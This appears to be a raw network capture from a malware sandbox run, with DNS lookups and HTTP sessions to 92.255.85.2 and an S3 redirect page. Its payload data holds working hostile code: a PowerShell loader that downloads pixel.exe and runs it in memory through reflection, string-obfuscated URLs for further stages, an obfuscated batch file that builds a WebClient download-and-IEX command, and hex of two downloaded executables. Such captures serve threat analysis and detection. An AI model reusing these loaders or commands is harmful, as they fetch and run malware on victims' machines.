Apr 17, 2025 13:24:33.727488041 CEST	1.1.1.1	192.168.2.5	0x51eb	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:33.727488041 CEST	1.1.1.1	192.168.2.5	0x51eb	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.208.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:33.727488041 CEST	1.1.1.1	192.168.2.5	0x51eb	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.209.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:33.727902889 CEST	1.1.1.1	192.168.2.5	0xba27	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:33.727902889 CEST	1.1.1.1	192.168.2.5	0xba27	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:46.958683014 CEST	1.1.1.1	192.168.2.5	0x4638	No error (0)	Ev2-ring.Ev2-9999.Ev2-msedge.net	Ev2-9999.Ev2-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:46.958683014 CEST	1.1.1.1	192.168.2.5	0x4638	No error (0)	Ev2-9999.Ev2-msedge.net		150.171.64.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:46.958683014 CEST	1.1.1.1	192.168.2.5	0x4638	No error (0)	Ev2-9999.Ev2-msedge.net		150.171.31.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:25:01.590436935 CEST	1.1.1.1	192.168.2.5	0x7fdf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:25:01.590436935 CEST	1.1.1.1	192.168.2.5	0x7fdf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:25:26.614137888 CEST	1.1.1.1	192.168.2.5	0x376e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:25:26.614137888 CEST	1.1.1.1	192.168.2.5	0x376e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2025 13:24:13.398179054 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 17, 2025 13:24:13.505624056 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 17 Apr 2025 10:37:58 GMT Expires: Thu, 17 Apr 2025 11:27:58 GMT Cache-Control: public, max-age=3000 Age: 2775 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2025 13:24:42.422508955 CEST	166	OUT	GET /fresh.html HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 92.255.85.2 Connection: Keep-Alive
Apr 17, 2025 13:24:42.656841040 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Wed, 16 Apr 2025 14:24:51 GMT Accept-Ranges: bytes ETag: "d3d7b350dbaedb1:0" Server: Microsoft-IIS/10.0 Date: Thu, 17 Apr 2025 11:24:42 GMT Content-Length: 3160 Data Raw: 66 75 6e 63 74 69 6f 6e 20 67 48 74 37 70 57 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 56 6e 34 65 4c 71 20 7b 0d 0a 20 20 20 20 24 6d 5a 30 78 41 61 20 3d 20 22 68 74 74 70 3a 2f 2f 39 32 2e 32 35 35 2e 38 35 2e 32 2f 70 69 78 65 6c 2e 65 78 65 22 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 24 6d 5a 30 78 41 61 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 71 45 64 39 4b 6f 20 7b 0d 0a 20 20 20 20 70 61 72 61 6d 20 28 0d 0a 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 5d 24 64 43 66 33 4d 76 0d 0a 20 20 20 20 29 0d 0a 20 20 20 20 24 73 42 78 31 54 6e 20 3d 20 67 48 74 37 70 57 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 24 73 42 78 31 54 6e 2e 44 6f 77 6e 6c 6f 61 64 44 61 74 61 28 24 64 43 66 33 4d 76 29 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 59 7a 31 6b 52 6d 20 7b 0d 0a 20 20 20 20 70 61 72 61 6d 20 28 0d 0a 20 20 20 20 20 20 20 20 5b 62 79 74 65 5b 5d [TRUNCATED] Data Ascii: function gHt7pW { return New-Object System.Net.WebClient}function Vn4eLq { $mZ0xAa = "http://92.255.85.2/pixel.exe" return $mZ0xAa}function qEd9Ko { param ( [string]$dCf3Mv ) $sBx1Tn = gHt7pW return $sBx1Tn.DownloadData($dCf3Mv)}function Yz1kRm { param ( [byte[]]$uAp7Xe ) return [System.Reflection.Assembly]::Load($uAp7Xe)}function kL3tOs { param ( [System.Reflection.Assembly]$zHr9Yj ) $wNq2Fb = $zHr9Yj.EntryPoint $wNq2Fb.Invoke($null, @())}$gPy5Xd = Vn4eLq$aNm0Qe = qEd9Ko -dCf3Mv $gPy5Xd$cVz6Tl = Yz1kRm -uAp7Xe $aNm0QekL3tOs -zHr9Yj $cVz6Tl$rnVNFpDvyIkLjFyOq2hpKJ5Ylqm3pR = "qcXGp98hqcXGp98tqcXGp98tqcXGp98pqcXGp98://qcXGp989qcXGp982qcXGp98.qcXGp982qcXGp985qcXGp985qcXGp98.qcXGp988qcXGp985qcXGp98.qcXGp982qcXGp98/qcXGp98nqcXGp98uqcXGp98mqcXGp98sqcXGp98.qcXGp98bqcXGp98aqcXGp98tqcXGp98".replace('qcXGp98','')$H2OjByV12QssDkOjuEB2vCsMFBpOeygH65hdPTt69MRcft6r9lQnufSr6 [TRUNCATED]
Apr 17, 2025 13:24:42.656862974 CEST	1358	IN	Data Raw: 74 36 72 39 6c 51 6e 75 5c 4d 46 42 70 4f 65 79 67 48 36 35 68 64 50 54 74 36 39 4d 52 63 66 74 36 72 39 6c 51 6e 75 57 4d 46 42 70 4f 65 79 67 48 36 35 68 64 50 54 74 36 39 4d 52 63 66 74 36 72 39 6c 51 6e 75 69 4d 46 42 70 4f 65 79 67 48 36 35 Data Ascii: t6r9lQnu\MFBpOeygH65hdPTt69MRcft6r9lQnuWMFBpOeygH65hdPTt69MRcft6r9lQnuiMFBpOeygH65hdPTt69MRcft6r9lQnunMFBpOeygH65hdPTt69MRcft6r9lQnudMFBpOeygH65hdPTt69MRcft6r9lQnuoMFBpOeygH65hdPTt69MRcft6r9lQnuwsMFBpOeygH65hdPTt69MRcft6r9lQnu\MFBpOeygH65hdPTt
Apr 17, 2025 13:24:42.656879902 CEST	670	IN	Data Raw: 4d 52 63 66 74 36 72 39 6c 51 6e 75 5c 4d 46 42 70 4f 65 79 67 48 36 35 68 64 50 54 74 36 39 4d 52 63 66 74 36 72 39 6c 51 6e 75 44 4d 46 42 70 4f 65 79 67 48 36 35 68 64 50 54 74 36 39 4d 52 63 66 74 36 72 39 6c 51 6e 75 65 6c 65 4d 46 42 70 4f Data Ascii: MRcft6r9lQnu\MFBpOeygH65hdPTt69MRcft6r9lQnuDMFBpOeygH65hdPTt69MRcft6r9lQnueleMFBpOeygH65hdPTt69MRcft6r9lQnuteMFBpOeygH65hdPTt69MRcft6r9lQnuAppMFBpOeygH65hdPTt69MRcft6r9lQnu.url".replace('MFBpOeygH65hdPTt69MRcft6r9lQnu','')Invoke-WebRequest
Apr 17, 2025 13:24:42.815784931 CEST	46	OUT	GET /pixel.exe HTTP/1.1 Host: 92.255.85.2
Apr 17, 2025 13:24:43.052248955 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 16 Apr 2025 14:26:48 GMT Accept-Ranges: bytes ETag: "11ddbe96dbaedb1:0" Server: Microsoft-IIS/10.0 Date: Thu, 17 Apr 2025 11:24:42 GMT Content-Length: 502688 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 06 47 91 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 aa 06 00 00 e4 00 00 00 00 00 00 1e c9 06 00 00 20 00 00 00 e0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 08 00 00 02 00 00 29 dc 07 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d0 c8 06 00 4b 00 00 00 00 e0 06 00 ec e0 00 00 00 00 00 00 00 00 00 00 00 90 07 00 a0 1b 00 00 00 e0 07 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELG"0 @ )`K H.text$ `.rsrc@@.reloc@BH\k((((((((((((((((((((((((((((( (!("(#($(%(&('((()((+(,(-(.(/(0(1(2(3(4(5(6(7 [TRUNCATED]
Apr 17, 2025 13:24:43.052285910 CEST	1358	IN	Data Raw: 00 28 45 01 00 06 2a 1e 00 28 46 01 00 06 2a 1e 00 28 47 01 00 06 2a 1e 00 28 48 01 00 06 2a 1e 00 28 49 01 00 06 2a 1e 00 28 4a 01 00 06 2a 1e 00 28 4b 01 00 06 2a 1e 00 28 4c 01 00 06 2a 1e 00 28 4d 01 00 06 2a 1e 00 28 4e 01 00 06 2a 1e 00 28 Data Ascii: (E(F(G(H(I(J(K(L(M(N(O(P(Q(R(S(T(U(V(W(X(Y(Z([(\(](^(_(`(a(b(c
Apr 17, 2025 13:24:43.052294016 CEST	1358	IN	Data Raw: 2a 1e 00 28 ef 01 00 06 2a 1e 00 28 f0 01 00 06 2a 1e 00 28 f1 01 00 06 2a 1e 00 28 f2 01 00 06 2a 1e 00 28 f3 01 00 06 2a 1e 00 28 f4 01 00 06 2a 1e 00 28 f5 01 00 06 2a 1e 00 28 f6 01 00 06 2a 1e 00 28 f7 01 00 06 2a 1e 00 28 f8 01 00 06 2a 1e Data Ascii: ((((((((((((((((((((((((((((((*
Apr 17, 2025 13:24:43.052304029 CEST	1358	IN	Data Raw: 00 06 2a 1e 00 28 99 02 00 06 2a 1e 00 28 9a 02 00 06 2a 1e 00 28 9b 02 00 06 2a 1e 00 28 9c 02 00 06 2a 1e 00 28 9d 02 00 06 2a 1e 00 28 9e 02 00 06 2a 1e 00 28 9f 02 00 06 2a 1e 00 28 a0 02 00 06 2a 1e 00 28 a1 02 00 06 2a 1e 00 28 a2 02 00 06 Data Ascii: ((((((((((((((((((((((((((((((*
Apr 17, 2025 13:24:43.052313089 CEST	1358	IN	Data Raw: 42 03 00 06 2a 1e 00 28 43 03 00 06 2a 1e 00 28 44 03 00 06 2a 1e 00 28 45 03 00 06 2a 1e 00 28 46 03 00 06 2a 1e 00 28 47 03 00 06 2a 1e 00 28 48 03 00 06 2a 1e 00 28 49 03 00 06 2a 1e 00 28 4a 03 00 06 2a 1e 00 28 4b 03 00 06 2a 1e 00 28 4c 03 Data Ascii: B(C(D(E(F(G(H(I(J(K(L(M(N(O(P(Q(R(S(T(U(V(W(X(Y(Z([(\(](^(_(`
Apr 17, 2025 13:24:43.052334070 CEST	1358	IN	Data Raw: 00 28 ec 03 00 06 2a 1e 00 28 ed 03 00 06 2a 1e 00 28 ee 03 00 06 2a 1e 00 28 ef 03 00 06 2a 1e 00 28 f0 03 00 06 2a 1e 00 28 f1 03 00 06 2a 1e 00 28 f2 03 00 06 2a 1e 00 28 f3 03 00 06 2a 1e 00 28 f4 03 00 06 2a 1e 00 28 f5 03 00 06 2a 1e 00 28 Data Ascii: (((((((((((((((((((((((((((((((
Apr 17, 2025 13:24:43.052341938 CEST	1358	IN	Data Raw: 2a 1e 00 28 96 04 00 06 2a 1e 00 28 97 04 00 06 2a 1e 00 28 98 04 00 06 2a 1e 00 28 99 04 00 06 2a 1e 00 28 9a 04 00 06 2a 1e 00 28 9b 04 00 06 2a 1e 00 28 9c 04 00 06 2a 1e 00 28 9d 04 00 06 2a 1e 00 28 9e 04 00 06 2a 1e 00 28 9f 04 00 06 2a 1e Data Ascii: ((((((((((((((((((((((((((((((*
Apr 17, 2025 13:24:43.052357912 CEST	1358	IN	Data Raw: 00 06 2a 1e 00 28 40 05 00 06 2a 1e 00 28 41 05 00 06 2a 1e 00 28 42 05 00 06 2a 1e 00 28 43 05 00 06 2a 1e 00 28 44 05 00 06 2a 1e 00 28 45 05 00 06 2a 1e 00 28 46 05 00 06 2a 1e 00 28 47 05 00 06 2a 1e 00 28 48 05 00 06 2a 1e 00 28 49 05 00 06 Data Ascii: (@(A(B(C(D(E(F(G(H(I(J(K(L(M(N(O(P(Q(R(S(T(U(V(W(X(Y(Z([(\(]*
Apr 17, 2025 13:24:43.052366972 CEST	1358	IN	Data Raw: e9 05 00 06 2a 1e 00 28 ea 05 00 06 2a 1e 00 28 eb 05 00 06 2a 1e 00 28 ec 05 00 06 2a 1e 00 28 ed 05 00 06 2a 1e 00 28 ee 05 00 06 2a 1e 00 28 ef 05 00 06 2a 1e 00 28 f0 05 00 06 2a 1e 00 28 f1 05 00 06 2a 1e 00 28 f2 05 00 06 2a 1e 00 28 f3 05 Data Ascii: ((((((((((((((((((((((((((((((
Apr 17, 2025 13:24:46.011950016 CEST	44	OUT	GET /qxm.exe HTTP/1.1 Host: 92.255.85.2
Apr 17, 2025 13:24:46.246984005 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri, 04 Apr 2025 19:08:18 GMT Accept-Ranges: bytes ETag: "cf65dfec94a5db1:0" Server: Microsoft-IIS/10.0 Date: Thu, 17 Apr 2025 11:24:46 GMT Content-Length: 1548800 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 47 05 da d5 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 98 17 00 00 08 00 00 00 00 00 00 6e b7 17 00 00 20 00 00 00 c0 17 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 18 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 b7 17 00 57 00 00 00 00 c0 17 00 aa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 17 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELG"0n @ `W H.textt `.rsrc@@.reloc@BPH\|WH3W3(](2{(s%rpor/po%r/pooo(s%rpor;po%rEpooo(V(#s$ o%b~,~o&f~( ,(,(((('((~~ ~!!~""~##~$$~%%~&&~'~(*( [TRUNCATED]

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2025 13:24:57.917650938 CEST	140	OUT	GET /nums.bat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 92.255.85.2
Apr 17, 2025 13:24:58.150093079 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 14 Apr 2025 12:14:41 GMT Accept-Ranges: bytes ETag: "bb86c7cc36addb1:0" Server: Microsoft-IIS/10.0 Date: Thu, 17 Apr 2025 11:24:57 GMT Content-Length: 1512 Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 6c 6f 63 61 6c 20 45 6e 61 62 6c 65 44 65 6c 61 79 65 64 45 78 70 61 6e 73 69 6f 6e 0d 0a 0d 0a 73 65 74 20 22 6a 75 6e 6b 31 3d 5a 58 43 22 0d 0a 73 65 74 20 22 6a 75 6e 6b 32 3d 31 32 33 22 0d 0a 73 65 74 20 22 6a 75 6e 6b 33 3d 61 62 63 22 0d 0a 0d 0a 73 65 74 20 22 73 31 3d 4e 22 0d 0a 73 65 74 20 22 73 32 3d 65 22 0d 0a 73 65 74 20 22 73 33 3d 77 22 0d 0a 73 65 74 20 22 73 34 3d 2d 22 0d 0a 73 65 74 20 22 73 35 3d 4f 22 0d 0a 73 65 74 20 22 73 36 3d 62 22 0d 0a 73 65 74 20 22 73 37 3d 6a 22 0d 0a 73 65 74 20 22 73 38 3d 65 22 0d 0a 73 65 74 20 22 73 39 3d 63 22 0d 0a 73 65 74 20 22 73 31 30 3d 74 22 0d 0a 73 65 74 20 22 73 31 31 3d 20 22 0d 0a 73 65 74 20 22 73 31 32 3d 4e 22 0d 0a 73 65 74 20 22 73 31 33 3d 65 22 0d 0a 73 65 74 20 22 73 31 34 3d 74 22 0d 0a 73 65 74 20 22 73 31 35 3d 2e 22 0d 0a 73 65 74 20 22 73 31 36 3d 57 22 0d 0a 73 65 74 20 22 73 31 37 3d 65 22 0d 0a 73 65 74 20 22 73 31 38 3d 62 22 0d 0a 73 65 74 20 22 73 31 39 3d 43 22 0d 0a 73 [TRUNCATED] Data Ascii: @echo offsetlocal EnableDelayedExpansionset "junk1=ZXC"set "junk2=123"set "junk3=abc"set "s1=N"set "s2=e"set "s3=w"set "s4=-"set "s5=O"set "s6=b"set "s7=j"set "s8=e"set "s9=c"set "s10=t"set "s11= "set "s12=N"set "s13=e"set "s14=t"set "s15=."set "s16=W"set "s17=e"set "s18=b"set "s19=C"set "s20=l"set "s21=i"set "s22=e"set "s23=n"set "s24=t"set "s25=;"set "c1=I"set "c2=E"set "c3=X"set "c4= "set "c5=$"set "c6=a"set "c7=v"set "c8=w"set "c9=25"set "c10=."set "c11=D"set "c12=o"set "c13=w"set "c14=n"set "c15=l"set "c16=o"set "c17=a"set "c18=d"set "c19=S"set "c20=t"set "c21=r"set "c22=i"set "c23=n"set "c24=g"set "c25=("set "u1='"set "u2=h"set "u3=t"set "u4=t"set "u5=p"set "u6=:"set "u7=/"set "u8=/"set "u9=92"set "u10=."set "u11=255"set "u12=."set "u13=85"set "u14=."set "u15=2"set "u16=/"set "u17=r"set "u18=c"set "u19=."set "u20=m"set "u21=p"set "u22 [TRUNCATED]
Apr 17, 2025 13:24:58.150110960 CEST	395	IN	Data Raw: 31 37 21 21 73 31 38 21 21 73 31 39 21 21 73 32 30 21 21 73 32 31 21 21 73 32 32 21 21 73 32 33 21 21 73 32 34 21 21 73 32 35 21 22 0d 0a 73 65 74 20 22 63 6f 64 65 32 3d 21 63 31 21 21 63 32 21 21 63 33 21 21 63 34 21 21 63 35 21 21 63 36 21 21 Data Ascii: 17!!s18!!s19!!s20!!s21!!s22!!s23!!s24!!s25!"set "code2=!c1!!c2!!c3!!c4!!c5!!c6!!c7!!c8!!c9!!c10!!c11!!c12!!c13!!c14!!c15!!c16!!c17!!c18!!c19!!c20!!c21!!c22!!c23!!c24!!c25!"set "urlFull=!u1!!u2!!u3!!u4!!u5!!u6!!u7!!u8!!u9!!u10!!u11!!u12!!u1

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:19 UTC	700	OUT	GET /redirect.html HTTP/1.1 Host: myidverify.s3.us-east-1.amazonaws.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:19 UTC	413	IN	HTTP/1.1 200 OK x-amz-id-2: hm3eVnyIZvvb3CZKPAyKFNRFuMZTcZXWQSKtldLPL6CrCv+IVQvNS6lGKmwlQPQaz7ZSqc+OMOM= x-amz-request-id: J15GP169XTY1GFBM Date: Thu, 17 Apr 2025 11:24:20 GMT Last-Modified: Tue, 15 Apr 2025 16:56:27 GMT ETag: "f8a9efd4396b5358f4d1a2b85a730277" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: text/html Content-Length: 223 Server: AmazonS3 Connection: close
2025-04-17 11:24:19 UTC	223	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 65 78 74 72 61 6e 65 74 75 70 64 61 74 65 2e 63 6f 6d 27 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang='en'> <head> <meta charset='UTF-8' /> <meta http-equiv='refresh' content='0;url=https://extranetupdate.com' /> <title>Redirecting...</title> </head> <body></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:19 UTC	650	OUT	GET /favicon.ico HTTP/1.1 Host: myidverify.s3.us-east-1.amazonaws.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://myidverify.s3.us-east-1.amazonaws.com/redirect.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:20 UTC	285	IN	HTTP/1.1 403 Forbidden x-amz-request-id: J15K93SMHDRNKH7B x-amz-id-2: Va/iLadn5sH1wS40f0MbiByV6zhTgSXQPxQaEAVZPhLEtQZVaZxVdzK9TOqtj7aKvNtofbP1rks= Content-Type: application/xml Transfer-Encoding: chunked Date: Thu, 17 Apr 2025 11:24:19 GMT Server: AmazonS3 Connection: close
2025-04-17 11:24:20 UTC	254	IN	Data Raw: 66 33 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 4a 31 35 4b 39 33 53 4d 48 44 52 4e 4b 48 37 42 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 56 61 2f 69 4c 61 64 6e 35 73 48 31 77 53 34 30 66 30 4d 62 69 42 79 56 36 7a 68 54 67 53 58 51 50 78 51 61 45 41 56 5a 50 68 4c 45 74 51 5a 56 61 5a 78 56 64 7a 4b 39 54 4f 71 74 6a 37 61 4b 76 4e 74 6f 66 62 50 31 72 6b 73 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: f3<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>J15K93SMHDRNKH7B</RequestId><HostId>Va/iLadn5sH1wS40f0MbiByV6zhTgSXQPxQaEAVZPhLEtQZVaZxVdzK9TOqtj7aKvNtofbP1rks=</HostId></Error>0

Timestamp	Bytes transferred	Direction	Data
